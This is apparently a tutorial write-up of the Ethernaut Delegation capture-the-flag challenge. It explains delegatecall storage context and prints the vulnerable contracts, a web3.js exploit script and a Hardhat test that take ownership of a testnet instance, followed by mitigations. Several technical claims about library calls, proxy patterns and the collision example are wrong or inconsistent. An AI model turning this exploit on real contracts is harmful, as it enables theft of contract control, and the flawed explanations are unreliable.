Skip to content
On this page

Exploiting delegatecall in Solidity: A Deep Dive into the Delegation CTF Challenge

Introduction

Smart contract security remains one of the most critical aspects of blockchain development, with subtle vulnerabilities often leading to catastrophic consequences. The Delegation challenge from OpenZeppelin's Ethernaut series presents a classic example of how improper use of low-level functions can compromise contract ownership. This technical article will dissect the Delegation CTF challenge, exploring the underlying mechanics of delegatecall, its legitimate use cases, and how attackers can exploit it to gain unauthorized control over contracts.

Understanding the Delegation Challenge

Challenge Overview

The Delegation challenge presents a deceptively simple scenario: two contracts where one delegates functionality to another. The objective is straightforward - claim ownership of the Delegation contract instance. However, achieving this requires a deep understanding of Solidity's execution context and the nuances of low-level function calls.

At first glance, the contracts appear innocuous:

  • Delegate: A basic contract with an owner variable and a pwn() function that allows changing ownership
  • Delegation: A contract that stores a reference to a Delegate instance and contains a fallback function using delegatecall

The vulnerability lies not in what's explicitly coded, but in what's implicitly possible through the interaction between these contracts and Ethereum's execution model.

The Contracts in Detail

Let's examine the provided contracts more closely:

solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Delegate {
    address public owner;

    constructor(address _owner) {
        owner = _owner;
    }

    function pwn() public {
        owner = msg.sender;
    }
}

contract Delegation {
    address public owner;
    Delegate delegate;

    constructor(address _delegateAddress) {
        delegate = Delegate(_delegateAddress);
        owner = msg.sender;
    }

    fallback() external {
        (bool result,) = address(delegate).delegatecall(msg.data);
        if (result) {
            this;
        }
    }
}

The Heart of the Vulnerability: Understanding delegatecall

What is delegatecall?

delegatecall is a low-level function in Solidity that executes code from another contract while preserving the context (storage, msg.sender, msg.value) of the calling contract. This is fundamentally different from a regular external call (call) or internal function invocation.

The syntax for delegatecall is:

solidity
(bool success, bytes memory data) = address(targetContract).delegatecall(
    abi.encodeWithSignature("functionName(type1,type2)", arg1, arg2)
);

How delegatecall Differs from Regular Calls

To understand the vulnerability, we must first comprehend how different call types affect execution context:

  1. Regular function call: Executes code in the context of the called contract
  2. call: Similar to regular calls but with more flexibility and gas control
  3. delegatecall: Executes code from the target contract but in the context of the calling contract

The critical distinction lies in what "context" means:

  • Storage layout: With delegatecall, the called contract's code manipulates the calling contract's storage
  • msg.sender and msg.value: These remain unchanged from the original transaction
  • address(this): Refers to the calling contract, not the contract whose code is being executed

Legitimate Uses of delegatecall

Despite its risks, delegatecall has legitimate applications:

  1. Proxy Patterns: Used in upgradeable contracts where logic can be changed while preserving storage
  2. Library Contracts: Allows multiple contracts to share common functionality without duplicating code
  3. Gas Optimization: Can reduce deployment costs by sharing code between contracts

Here's an example of a legitimate library pattern using delegatecall:

solidity
// Library contract
library MathLibrary {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }
}

// Using contract
contract Calculator {
    using MathLibrary for uint256;
    
    function calculate(uint256 x, uint256 y) public pure returns (uint256) {
        return x.add(y);
    }
}

Analyzing the Vulnerability Step by Step

Storage Layout Alignment

The first crucial aspect to understand is how Solidity handles storage. Both contracts in our challenge have identical storage layouts:

Delegate storage layout:

  • Slot 0: address public owner

Delegation storage layout:

  • Slot 0: address public owner
  • Slot 1: Delegate delegate

When delegatecall is invoked from Delegation to Delegate, the Delegate's code operates on Delegation's storage. This means that when Delegate's pwn() function sets owner = msg.sender, it's actually modifying slot 0 of Delegation's storage.

The Fallback Function as an Attack Vector

The Delegation contract's fallback function is the gateway to exploitation:

solidity
fallback() external {
    (bool result,) = address(delegate).delegatecall(msg.data);
    if (result) {
        this;
    }
}

Key observations:

  1. The fallback function accepts any call with arbitrary msg.data
  2. It forwards this data via delegatecall to the Delegate contract
  3. There's no validation of what function is being called

Crafting the Attack

The attack involves sending a transaction to the Delegation contract with msg.data that encodes a call to the pwn() function of the Delegate contract. Here's how this works:

  1. Function Signature Calculation: First, we need the function selector for pwn()

    javascript
    // In JavaScript/TypeScript
    const functionSignature = "pwn()";
    const functionSelector = ethers.utils.id(functionSignature).slice(0, 10);
    // Result: 0xdd365b8b
    
  2. Transaction Construction: We send a transaction to Delegation with msg.data = 0xdd365b8b

  3. Execution Flow:

    • Transaction arrives at Delegation with no matching function signature
    • Fallback function triggers
    • delegatecall executes Delegate's code with Delegation's context
    • Delegate's pwn() function executes, setting owner = msg.sender
    • Since this happens in Delegation's context, Delegation's owner is updated

Implementing the Exploit

Manual Exploitation with Web3.js

Here's how you could execute the attack manually using web3.js:

javascript
const Web3 = require('web3');
const web3 = new Web3('https://sepolia.infura.io/v3/YOUR_INFURA_KEY');

async function exploitDelegation() {
    const delegationAddress = '0x73379d8B82Fda494ee59555f333DF7D44483fD58';
    const challengerAddress = '0xYourAddress';
    const privateKey = '0xYourPrivateKey';
    
    // Calculate function selector for pwn()
    const functionSignature = 'pwn()';
    const functionSelector = web3.utils.sha3(functionSignature).slice(0, 10);
    
    // Create transaction
    const tx = {
        from: challengerAddress,
        to: delegationAddress,
        data: functionSelector,
        gas: 100000,
        gasPrice: web3.utils.toWei('10', 'gwei')
    };
    
    // Sign and send transaction
    const signedTx = await web3.eth.accounts.signTransaction(tx, privateKey);
    const receipt = await web3.eth.sendSignedTransaction(signedTx.rawTransaction);
    
    console.log('Transaction hash:', receipt.transactionHash);
    
    // Verify ownership change
    const delegationABI = [{"constant":true,"inputs":[],"name":"owner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"}];
    const delegationContract = new web3.eth.Contract(delegationABI, delegationAddress);
    const newOwner = await delegationContract.methods.owner().call();
    
    console.log('New owner:', newOwner);
    console.log('Expected owner:', challengerAddress);
    console.log('Ownership changed:', newOwner.toLowerCase() === challengerAddress.toLowerCase());
}

Automated Testing with Hardhat

The provided test file demonstrates a more sophisticated approach using Hardhat and TypeScript:

typescript
import { ethers } from "hardhat";
import { expect } from "chai";
import { Delegation, Delegate } from "../typechain-types";

describe("Delegation", function () {
  describe("Delegation testnet sepolia", function () {
    it("testnet sepolia Delegation owner", async function () {
      const DELEGATION_ADDRESS = "0x73379d8B82Fda494ee59555f333DF7D44483fD58";
      const DELEGATE_ABI = [
        "function pwn() external", 
        "function owner() external view returns (address)"
      ];

      const challenger = await ethers.getNamedSigner("deployer");
      const delegateContract = new ethers.Contract(
        DELEGATION_ADDRESS, 
        DELEGATE_ABI, 
        challenger
      );
      
      const tx = await delegateContract.pwn();
      await tx.wait();

      const delegationOwner = await delegateContract.owner();
      expect(delegationOwner).to.be.equals(challenger.address);
    });
  });
});

Important Note on the Test Implementation

There's a subtle but important point in the test code: it's creating a contract instance pointing to the Delegation address but using Delegate's ABI. This works because:

  1. The contract interface at DELEGATION_ADDRESS responds to pwn() calls via its fallback function
  2. The owner() function exists in both contracts with identical signatures
  3. Ethers.js handles the encoding/decoding transparently

Prevention and Best Practices

Secure Implementation Patterns

To prevent this type of vulnerability, consider these secure patterns:

  1. Avoid Unrestricted delegatecall in Fallback Functions:

    solidity
    // UNSAFE
    fallback() external {
        (bool result,) = address(delegate).delegatecall(msg.data);
        // ...
    }
    
    // SAFER - Whitelist allowed functions
    fallback() external {
        bytes4 funcSelector = bytes4(msg.data);
        require(
            funcSelector == bytes4(keccak256("allowedFunc1()")) ||
            funcSelector == bytes4(keccak256("allowedFunc2(uint256)")),
            "Function not allowed"
        );
        (bool result,) = address(delegate).delegatecall(msg.data);
        // ...
    }
    
  2. Use Explicit Function Forwarding Instead of Fallback:

    solidity
    function forwardToDelegate(bytes memory _data) public {
        require(msg.sender == owner, "Not authorized");
        (bool success, ) = address(delegate).delegatecall(_data);
        require(success, "Delegate call failed");
    }
    
  3. Implement Proper Access Controls:

    solidity
    contract SecureDelegation {
        address public owner;
        Delegate delegate;
        mapping(bytes4 => bool) public allowedFunctions;
        
        constructor(address _delegateAddress) {
            owner = msg.sender;
            delegate = Delegate(_delegateAddress);
            // Explicitly allow only specific functions
            allowedFunctions[bytes4(keccak256("safeFunction()"))] = true;
        }
        
        fallback() external {
            bytes4 funcSelector = bytes4(msg.data);
            require(allowedFunctions[funcSelector], "Function not allowed");
            (bool success, ) = address(delegate).delegatecall(msg.data);
            require(success, "Delegate call failed");
        }
        
        function updateAllowedFunction(bytes4 _selector, bool _allowed) public {
            require(msg.sender == owner, "Not authorized");
            allowedFunctions[_selector] = _allowed;
        }
    }
    

Security Audit Checklist for delegatecall

When auditing contracts using delegatecall, consider:

  1. Storage Layout Compatibility: Ensure calling and called contracts have identical storage layouts
  2. Function Validation: Verify that only intended functions can be called via delegatecall
  3. Access Controls: Implement proper authorization for delegatecall operations
  4. Gas Limits: Consider gas requirements and potential out-of-gas scenarios
  5. Return Value Handling: Properly handle success/failure of delegatecall operations

Real-World Implications and Historical Incidents

The Parity Wallet Hack

One of the most famous incidents involving delegatecall was the Parity Wallet hack in 2017. The vulnerability allowed an attacker to become the owner of the library contract and subsequently drain funds from multi-signature wallets. The root cause was similar - a publicly callable function that used delegatecall without proper access controls.

Lessons Learned

  1. Minimal Proxy Pattern: Modern upgradeable contracts often use the EIP-1167 minimal proxy pattern, which is more secure than custom delegatecall implementations
  2. Transparent Proxy Pattern: Uses an admin address to separate logic from proxy, preventing confusion attacks
  3. UUPS (Universal Upgradeable Proxy Standard): Puts upgrade logic in the implementation contract itself

Advanced Considerations

Storage Collisions in Complex Contracts

In more complex scenarios, storage collisions can occur even without malicious intent:

solidity
contract Library {
    uint256 public value; // Slot 0
    address public owner; // Slot 1
}

contract Main {
    address public owner; // Slot 0
    uint256 public value; // Slot 1
    Library lib;
    
    constructor(address _lib) {
        lib = Library(_lib);
        owner = msg.sender;
    }
    
    function updateValue(uint256 _newValue) public {
        // This will corrupt storage!
        address(lib).delegatecall(
            abi.encodeWithSignature("setValue(uint256)", _newValue)
        );
    }
}

In this example, Library.setValue() would write to slot 0, which corresponds to Main.owner, not Main.value.

Using staticcall for View Functions

For read-only operations, consider using staticcall instead of delegatecall:

solidity
function readFromLibrary(bytes memory _data) public view returns (bytes memory) {
    (bool success, bytes memory result) = address(library).staticcall(_data);
    require(success, "Static call failed");
    return result;
}

Conclusion

The Delegation CTF challenge serves as an excellent case study in smart contract security, highlighting how seemingly innocuous features like delegatecall can become critical vulnerabilities when misused. The key takeaways are:

  1. Context Preservation: delegatecall executes code in the caller's context, making storage layout compatibility crucial
  2. Fallback Functions as Attack Vectors: Unrestricted fallback functions can expose contracts to unexpected behavior
  3. Defense in Depth: Multiple layers of security (access controls, function validation, storage isolation) are necessary for robust contracts
  4. Audit and Testing: Comprehensive testing and security audits are essential, especially for contracts using low-level operations

As blockchain technology evolves, understanding these fundamental concepts becomes increasingly important for developers, auditors, and security researchers. The Delegation challenge reminds us that in smart contract development, what you don't know—or don't properly secure—can indeed hurt you and your users.

Further Reading and Resources

  1. Official Documentation:

  2. Security Tools:

    • Slither: Static analysis framework for Solidity
    • MythX: Security analysis platform for Ethereum smart contracts
    • Echidna: Property-based fuzzer for Ethereum smart contracts
  3. Educational Platforms:

    • Ethernaut: OpenZeppelin's wargame for learning Ethereum security
    • Capture the Ether: Another excellent platform for Ethereum security challenges
    • Damn Vulnerable DeFi: Focuses on DeFi-specific vulnerabilities

By mastering concepts like delegatecall and understanding their security implications, developers can build more secure, robust, and reliable smart contracts that stand the test of time in the adversarial environment of blockchain networks.

Built with AiAda